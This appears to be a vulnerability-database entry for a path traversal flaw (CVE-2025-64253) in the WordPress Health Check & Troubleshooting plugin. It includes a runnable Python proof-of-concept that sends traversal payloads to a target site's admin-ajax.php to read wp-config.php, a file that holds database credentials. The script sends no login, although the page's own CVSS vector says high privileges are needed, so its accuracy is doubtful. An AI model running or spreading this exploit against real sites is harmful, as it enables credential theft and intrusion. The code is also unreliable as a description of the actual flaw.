CVE-2025-64253

Description

Path Traversal: '.../...//' vulnerability in WordPress.org Health Check & Troubleshooting health-check allows Path Traversal.This issue affects Health Check & Troubleshooting: from n/a through <= 1.7.1.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Health Check & Troubleshooting plugin <= 1.7.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64253 PoC - WordPress Health Check Path Traversal
# Affected: WordPress Health Check & Troubleshooting plugin <= 1.7.1

import requests
import sys
from urllib.parse import quote

target = input("Enter target URL: ").rstrip('/')

# Path traversal payloads
payloads = [
    ".../...//wp-config.php",
    ".../...//.../...//wp-config.php",
    "..%2F..%2Fwp-config.php",
    "....//....//wp-config.php"
]

# Try to exploit via Health Check endpoint
for payload in payloads:
    url = f"{target}/wp-admin/admin-ajax.php"
    data = {
        "action": "health_check_get_contents",
        "file": payload
    }
    
    print(f"[*] Testing payload: {payload}")
    try:
        response = requests.post(url, data=data, timeout=10)
        if response.status_code == 200 and "<?php" in response.text:
            print(f"[!] Vulnerable! Found file content:")
            print(response.text[:500])
    except Exception as e:
        print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64253
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64253
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64253/
[4] VulDB https://vuldb.com/cve/CVE-2025-64253
[5] https://patchstack.com/database/Wordpress/Plugin/health-check/vulnerability/wordpress-health-check-troubleshooting-plugin-1-7-1-path-traversal-vulnerability?_s_id=cve

Raw JSON Data

JSON

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